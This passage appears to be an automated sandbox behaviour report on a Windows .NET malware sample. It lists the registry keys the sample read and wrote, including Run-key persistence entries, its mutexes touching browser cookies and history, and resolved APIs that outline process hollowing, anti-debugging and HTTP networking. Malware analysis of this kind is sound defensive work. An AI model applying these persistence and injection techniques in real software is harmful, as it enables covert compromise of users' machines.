HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\EnableEvents
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssToBeInitialized
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Low Threshold On Events (B)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\High Threshold On Events (B)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Wait On Events (ms)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Merger Query Arbitration Enabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\FinalizerBatchSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ClientCallbackTimeout
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\FinalizerQueueThreshold
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Tasks
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SetupDate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Async Result Queue Size
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\cimv2
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\cimv2
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\Synchronization
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\AppId
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\Synchronization
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\AppId
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\Synchronization
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\AppId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SecuredHostProviders\ROOT\CIMV2:__Win32Provider.Name="CIMWin32"
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\Root
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\Root
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{B7B31DF9-D515-11D3-A11C-00105A1F515A}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{07435309-D440-41B7-83F3-EB82DB6C622F}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{21CD80A2-B305-4F37-9D4C-4534A8D9B568}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{06413D98-405C-4A5A-8D6F-19B8B7C6ACF7}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F50A28CF-5C9C-4F7E-9D80-E25E16E18C59}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6B3FC272-BF37-4968-933A-6DF9222A2607}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0FC8C622-1728-4149-A57F-AD19D0970710}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{FEC1B0AC-5808-4033-A915-C0185934581E}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{EB658B8A-7A64-4DDC-9B8D-A92610DB0206}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssNeedsLoading
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Sink Transmit Buffer Size
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\DefaultRpcStackSize
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\AccessProviders\MartaExtension
HKEY_CURRENT_USER\Control Panel\International\LocaleName
HKEY_CURRENT_USER\Control Panel\International\sCountry
HKEY_CURRENT_USER\Control Panel\International\sList
HKEY_CURRENT_USER\Control Panel\International\sDecimal
HKEY_CURRENT_USER\Control Panel\International\sThousand
HKEY_CURRENT_USER\Control Panel\International\sGrouping
HKEY_CURRENT_USER\Control Panel\International\sNativeDigits
HKEY_CURRENT_USER\Control Panel\International\sCurrency
HKEY_CURRENT_USER\Control Panel\International\sMonDecimalSep
HKEY_CURRENT_USER\Control Panel\International\sMonThousandSep
HKEY_CURRENT_USER\Control Panel\International\sMonGrouping
HKEY_CURRENT_USER\Control Panel\International\sPositiveSign
HKEY_CURRENT_USER\Control Panel\International\sNegativeSign
HKEY_CURRENT_USER\Control Panel\International\sTimeFormat
HKEY_CURRENT_USER\Control Panel\International\sShortTime
HKEY_CURRENT_USER\Control Panel\International\s1159
HKEY_CURRENT_USER\Control Panel\International\s2359
HKEY_CURRENT_USER\Control Panel\International\sShortDate
HKEY_CURRENT_USER\Control Panel\International\sLongDate
HKEY_CURRENT_USER\Control Panel\International\iCountry
HKEY_CURRENT_USER\Control Panel\International\iMeasure
HKEY_CURRENT_USER\Control Panel\International\iPaperSize
HKEY_CURRENT_USER\Control Panel\International\iDigits
HKEY_CURRENT_USER\Control Panel\International\iLZero
HKEY_CURRENT_USER\Control Panel\International\iNegNumber
HKEY_CURRENT_USER\Control Panel\International\NumShape
HKEY_CURRENT_USER\Control Panel\International\iCurrDigits
HKEY_CURRENT_USER\Control Panel\International\iCurrency
HKEY_CURRENT_USER\Control Panel\International\iNegCurr
HKEY_CURRENT_USER\Control Panel\International\iCalendarType
HKEY_CURRENT_USER\Control Panel\International\iFirstDayOfWeek
HKEY_CURRENT_USER\Control Panel\International\iFirstWeekOfYear
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Logging
HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information
HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString
HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier
HKEY_PERFORMANCE_TEXT\Counter
HKEY_PERFORMANCE_DATA\238

Write Keys

HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\7F06864B\LanguageList
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Update
HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\regasm_RASAPI32
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\FileDirectory
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Foamex International Inc
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\LastServiceStart
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Server
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssNeedsLoading
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\List of event-active namespaces

Delete Keys

Nothing to display

Mutexes

Global\CLR_CASOFF_MUTEX
Global\.net clr networking
Local\_!MSFTHISTORY!_
Local\c:!users!seven01!appdata!local!microsoft!windows!temporary internet files!content.ie5!
Local\c:!users!seven01!appdata!roaming!microsoft!windows!cookies!
Local\c:!users!seven01!appdata!local!microsoft!windows!history!history.ie5!

Resolved APIs

advapi32.dll.RegOpenKeyExW
advapi32.dll.RegQueryInfoKeyW
advapi32.dll.RegEnumKeyExW
advapi32.dll.RegEnumValueW
advapi32.dll.RegCloseKey
advapi32.dll.RegQueryValueExW
kernel32.dll.FlsAlloc
kernel32.dll.FlsFree
kernel32.dll.FlsGetValue
kernel32.dll.FlsSetValue
kernel32.dll.InitializeCriticalSectionEx
kernel32.dll.CreateEventExW
kernel32.dll.CreateSemaphoreExW
kernel32.dll.SetThreadStackGuarantee
kernel32.dll.CreateThreadpoolTimer
kernel32.dll.SetThreadpoolTimer
kernel32.dll.WaitForThreadpoolTimerCallbacks
kernel32.dll.CloseThreadpoolTimer
kernel32.dll.CreateThreadpoolWait
kernel32.dll.SetThreadpoolWait
kernel32.dll.CloseThreadpoolWait
kernel32.dll.FlushProcessWriteBuffers
kernel32.dll.FreeLibraryWhenCallbackReturns
kernel32.dll.GetCurrentProcessorNumber
kernel32.dll.GetLogicalProcessorInformation
kernel32.dll.CreateSymbolicLinkW
kernel32.dll.EnumSystemLocalesEx
kernel32.dll.CompareStringEx
kernel32.dll.GetDateFormatEx
kernel32.dll.GetLocaleInfoEx
kernel32.dll.GetTimeFormatEx
kernel32.dll.GetUserDefaultLocaleName
kernel32.dll.IsValidLocaleName
kernel32.dll.LCMapStringEx
kernel32.dll.GetTickCount64
advapi32.dll.EventRegister
mscoree.dll.#142
mscoreei.dll.RegisterShimImplCallback
mscoreei.dll.OnShimDllMainCalled
mscoreei.dll._CorExeMain
shlwapi.dll.UrlIsW
version.dll.GetFileVersionInfoSizeW
version.dll.GetFileVersionInfoW
version.dll.VerQueryValueW
kernel32.dll.InitializeCriticalSectionAndSpinCount
kernel32.dll.IsProcessorFeaturePresent
msvcrt.dll._set_error_mode
msvcrt.dll.?set_terminate@@YAP6AXXZP6AXXZ@Z
kernel32.dll.FindActCtxSectionStringW
kernel32.dll.GetSystemWindowsDirectoryW
mscoree.dll.GetProcessExecutableHeap
mscoreei.dll.GetProcessExecutableHeap
mscorwks.dll._CorExeMain
mscorwks.dll.GetCLRFunction
advapi32.dll.RegisterTraceGuidsW
advapi32.dll.UnregisterTraceGuids
advapi32.dll.GetTraceLoggerHandle
advapi32.dll.GetTraceEnableLevel
advapi32.dll.GetTraceEnableFlags
advapi32.dll.TraceEvent
mscoree.dll.IEE
mscoreei.dll.IEE
mscorwks.dll.IEE
mscoree.dll.GetStartupFlags
mscoreei.dll.GetStartupFlags
mscoree.dll.GetHostConfigurationFile
mscoreei.dll.GetHostConfigurationFile
mscoreei.dll.GetCORVersion
mscoree.dll.GetCORSystemDirectory
mscoreei.dll.GetCORSystemDirectory_RetAddr
mscoreei.dll.CreateConfigStream
ntdll.dll.RtlUnwind
kernel32.dll.IsWow64Process
advapi32.dll.AllocateAndInitializeSid
advapi32.dll.OpenProcessToken
advapi32.dll.GetTokenInformation
advapi32.dll.InitializeAcl
advapi32.dll.AddAccessAllowedAce
advapi32.dll.FreeSid
kernel32.dll.AddVectoredContinueHandler
kernel32.dll.RemoveVectoredContinueHandler
advapi32.dll.ConvertSidToStringSidW
shell32.dll.SHGetFolderPathW
kernel32.dll.GetWriteWatch
kernel32.dll.ResetWriteWatch
kernel32.dll.CreateMemoryResourceNotification
kernel32.dll.QueryMemoryResourceNotification
kernelbase.dll.InitializeCriticalSectionAndSpinCount
kernel32.dll.ProcessIdToSessionId
imm32.dll.ImmCreateContext
imm32.dll.ImmDestroyContext
imm32.dll.ImmNotifyIME
imm32.dll.ImmAssociateContext
imm32.dll.ImmReleaseContext
imm32.dll.ImmGetContext
imm32.dll.ImmGetCompositionStringA
imm32.dll.ImmSetCompositionStringA
imm32.dll.ImmGetCompositionStringW
imm32.dll.ImmSetCompositionStringW
imm32.dll.ImmSetCandidateWindow
mscorsec.dll.GetPublisher
mscoree.dll.CoInitializeEE
mscoreei.dll.CoInitializeEE
mscorwks.dll.CoInitializeEE
wintrust.dll.WintrustCertificateTrust
mscorsec.dll.CORPolicyEE
wintrust.dll.SoftpubInitialize
wintrust.dll.SoftpubLoadMessage
wintrust.dll.SoftpubLoadSignature
wintrust.dll.SoftpubCheckCert
cryptsp.dll.CryptAcquireContextA
wintrust.dll.CryptSIPPutSignedDataMsg
wintrust.dll.CryptSIPGetSignedDataMsg
imagehlp.dll.ImageGetCertificateData
user32.dll.LoadStringW
ncrypt.dll.BCryptOpenAlgorithmProvider
bcryptprimitives.dll.GetHashInterface
ncrypt.dll.BCryptGetProperty
ncrypt.dll.BCryptCreateHash
ncrypt.dll.BCryptHashData
wintrust.dll.CryptSIPVerifyIndirectData
bcrypt.dll.BCryptOpenAlgorithmProvider
bcrypt.dll.BCryptGetProperty
bcrypt.dll.BCryptCreateHash
bcrypt.dll.BCryptHashData
bcrypt.dll.BCryptFinishHash
bcrypt.dll.BCryptDestroyHash
bcrypt.dll.BCryptCloseAlgorithmProvider
ncrypt.dll.BCryptFinishHash
cryptsp.dll.CryptCreateHash
cryptsp.dll.CryptSetHashParam
cryptsp.dll.CryptVerifySignatureA
cryptsp.dll.CryptDestroyKey
cryptsp.dll.CryptDestroyHash
ncrypt.dll.BCryptDestroyHash
userenv.dll.GetUserProfileDirectoryW
sechost.dll.ConvertSidToStringSidW
sechost.dll.ConvertStringSidToSidW
userenv.dll.RegisterGPNotification
gpapi.dll.RegisterGPNotificationInternal
sechost.dll.OpenSCManagerW
sechost.dll.OpenServiceW
sechost.dll.CloseServiceHandle
sechost.dll.QueryServiceConfigW
cryptnet.dll.CryptGetObjectUrl
cryptnet.dll.I_CryptNetGetConnectivity
sensapi.dll.IsNetworkAlive
rpcrt4.dll.RpcBindingFromStringBindingW
rpcrt4.dll.RpcBindingSetAuthInfoExW
rpcrt4.dll.NdrClientCall2
cryptnet.dll.CryptRetrieveObjectByUrlW
setupapi.dll.SetupIterateCabinetW
kernel32.dll.RegOpenKeyExW
kernel32.dll.RegCloseKey
cabinet.dll.#20
cabinet.dll.#22
cabinet.dll.#23
sechost.dll.QueryServiceConfigA
sechost.dll.QueryServiceStatus
rpcrt4.dll.RpcStringBindingComposeA
rpcrt4.dll.RpcBindingFromStringBindingA
rpcrt4.dll.RpcEpResolveBinding
sechost.dll.LookupAccountSidLocalW
sechost.dll.LookupAccountNameLocalW
rpcrt4.dll.RpcStringFreeA
rpcrt4.dll.RpcBindingFree
winhttp.dll.WinHttpOpen
winhttp.dll.WinHttpSetTimeouts
winhttp.dll.WinHttpSetOption
winhttp.dll.WinHttpCrackUrl
shlwapi.dll.StrCmpNW
winhttp.dll.WinHttpConnect
winhttp.dll.WinHttpOpenRequest
winhttp.dll.WinHttpGetDefaultProxyConfiguration
winhttp.dll.WinHttpGetIEProxyConfigForCurrentUser
winhttp.dll.WinHttpSendRequest
ws2_32.dll.GetAddrInfoW
ws2_32.dll.WSASocketW
ws2_32.dll.#2
ws2_32.dll.#21
ws2_32.dll.#9
ws2_32.dll.WSAIoctl
ws2_32.dll.FreeAddrInfoW
ws2_32.dll.#6
ws2_32.dll.#5
ws2_32.dll.WSARecv
ws2_32.dll.WSASend
winhttp.dll.WinHttpReceiveResponse
winhttp.dll.WinHttpQueryHeaders
winhttp.dll.WinHttpQueryDataAvailable
ws2_32.dll.#22
winhttp.dll.WinHttpReadData
ws2_32.dll.#3
winhttp.dll.WinHttpCloseHandle
cryptnet.dll.I_CryptNetSetUrlCacheFlushInfo
bcryptprimitives.dll.GetAsymmetricEncryptionInterface
ncrypt.dll.BCryptImportKeyPair
ncrypt.dll.BCryptVerifySignature
ncrypt.dll.BCryptDestroyKey
cryptsp.dll.CryptHashData
wintrust.dll.SoftpubAuthenticode
wintrust.dll.SoftpubCleanup
ole32.dll.CoTaskMemAlloc
cryptsp.dll.CryptReleaseContext
mscoree.dll.CoUninitializeEE
mscoreei.dll.CoUninitializeEE
mscorwks.dll.CoUninitializeEE
ole32.dll.CoTaskMemFree
kernel32.dll.QueryActCtxW
kernel32.dll.GetVersionExW
kernel32.dll.GetFullPathNameW
ole32.dll.CoInitializeEx
cryptbase.dll.SystemFunction036
ole32.dll.CoGetContextToken
advapi32.dll.CryptAcquireContextA
advapi32.dll.CryptReleaseContext
advapi32.dll.CryptCreateHash
advapi32.dll.CryptDestroyHash
advapi32.dll.CryptHashData
advapi32.dll.CryptGetHashParam
advapi32.dll.CryptImportKey
advapi32.dll.CryptExportKey
advapi32.dll.CryptGenKey
advapi32.dll.CryptGetKeyParam
advapi32.dll.CryptDestroyKey
advapi32.dll.CryptVerifySignatureA
advapi32.dll.CryptSignHashA
advapi32.dll.CryptGetProvParam
advapi32.dll.CryptGetUserKey
advapi32.dll.CryptEnumProvidersA
mscoree.dll.GetMetaDataInternalInterface
mscoreei.dll.GetMetaDataInternalInterface
mscorwks.dll.GetMetaDataInternalInterface
mscorjit.dll.getJit
kernel32.dll.GetUserDefaultUILanguage
kernel32.dll.SetErrorMode
kernel32.dll.GetFileAttributesExW
mscoreei.dll.LoadLibraryShim
culture.dll.ConvertLangIdToCultureName
kernel32.dll.lstrlen
kernel32.dll.lstrlenW
mscoree.dll.ND_RI4
mscoreei.dll.ND_RI4
bcrypt.dll.BCryptGetFipsAlgorithmMode
kernel32.dll.GlobalMemoryStatusEx
kernel32.dll.VirtualProtect
kernel32.dll.GetEnvironmentVariableW
kernel32.dll.SwitchToThread
kernel32.dll.CloseHandle
kernel32.dll.GetCurrentProcessId
advapi32.dll.LookupPrivilegeValueW
kernel32.dll.GetCurrentProcess
advapi32.dll.AdjustTokenPrivileges
kernel32.dll.OpenProcess
psapi.dll.EnumProcessModules
psapi.dll.GetModuleInformation
psapi.dll.GetModuleBaseNameW
psapi.dll.GetModuleFileNameExW
kernel32.dll.GetProcAddress
kernel32.dll.DebugActiveProcess
kernel32.dll.WaitForDebugEvent
kernel32.dll.ContinueDebugEvent
kernel32.dll.DeleteFileA
advapi32.dll.SetKernelObjectSecurity
advapi32.dll.GetKernelObjectSecurity
ntdll.dll.NtSetInformationProcess
ntdll.dll.NtProtectVirtualMemory
kernel32.dll.GetModuleFileNameW
shfolder.dll.SHGetFolderPathW
kernel32.dll.CopyFileW
kernel32.dll.LocalFree
kernel32.dll.CreatePipe
kernel32.dll.DuplicateHandle
kernel32.dll.GetStdHandle
kernel32.dll.GetCurrentDirectoryW
kernel32.dll.CreateProcessW
kernel32.dll.GetFileType
kernel32.dll.GetConsoleCP
kernel32.dll.GetACP
kernel32.dll.UnmapViewOfFile
kernel32.dll.GetConsoleOutputCP
kernel32.dll.WriteFile
ole32.dll.CoUninitialize
kernel32.dll.CreateActCtxW
kernel32.dll.AddRefActCtx
kernel32.dll.ReleaseActCtx
kernel32.dll.ActivateActCtx
kernel32.dll.DeactivateActCtx
kernel32.dll.GetCurrentActCtx
advapi32.dll.EventUnregister
kernel32.dll.SetThreadUILanguage
kernel32.dll.SortGetHandle
kernel32.dll.SortCloseHandle
kernel32.dll.CopyFileExW
kernel32.dll.IsDebuggerPresent
kernel32.dll.SetConsoleInputExeNameW
ntdll.dll.NtQueryInformationProcess
kernel32.dll.GetTempPathW
kernel32.dll.CreateFileW
kernel32.dll.VirtualAllocEx
kernel32.dll.GetThreadContext
kernel32.dll.Wow64GetThreadContext
ntdll.dll.NtUnmapViewOfSection
kernel32.dll.ResumeThread
kernel32.dll.SetThreadContext
kernel32.dll.Wow64SetThreadContext
kernel32.dll.WriteProcessMemory
kernel32.dll.ReadProcessMemory
kernel32.dll.TerminateProcess
kernel32.dll.GetNativeSystemInfo
uxtheme.dll.ThemeInitApiHook
user32.dll.IsProcessDPIAware
cryptsp.dll.CryptImportKey
cryptsp.dll.CryptAcquireContextW
cryptsp.dll.CryptGetHashParam
ole32.dll.CreateBindCtx
ole32.dll.CoGetObjectContext
advapi32.dll.LookupAccountSidW
cryptsp.dll.CryptGenRandom
ole32.dll.NdrOleInitializeExtension
ole32.dll.CoGetClassObject
ole32.dll.CoGetMarshalSizeMax
ole32.dll.CoMarshalInterface
ole32.dll.CoUnmarshalInterface
ole32.dll.StringFromIID
ole32.dll.CoGetPSClsid
ole32.dll.CoCreateInstance
ole32.dll.CoReleaseMarshalData
ole32.dll.DcomChannelSetHResult
rpcrtremote.dll.I_RpcExtInitializeExtensionPoint
ole32.dll.MkParseDisplayName
oleaut32.dll.#2
oleaut32.dll.#6
kernel32.dll.GetThreadPreferredUILanguages
kernel32.dll.SetThreadPreferredUILanguages
kernel32.dll.LocaleNameToLCID
kernel32.dll.LCIDToLocaleName
kernel32.dll.GetSystemDefaultLocaleName
ole32.dll.BindMoniker
sxs.dll.SxsOleAut32RedirectTypeLibrary
advapi32.dll.RegOpenKeyW
advapi32.dll.RegEnumKeyW
advapi32.dll.RegQueryValueW
sxs.dll.SxsOleAut32MapConfiguredClsidToReferenceClsid
sxs.dll.SxsLookupClrGuid
oleaut32.dll.#9
oleaut32.dll.#4
oleaut32.dll.#283
oleaut32.dll.#284
mscoreei.dll._CorDllMain
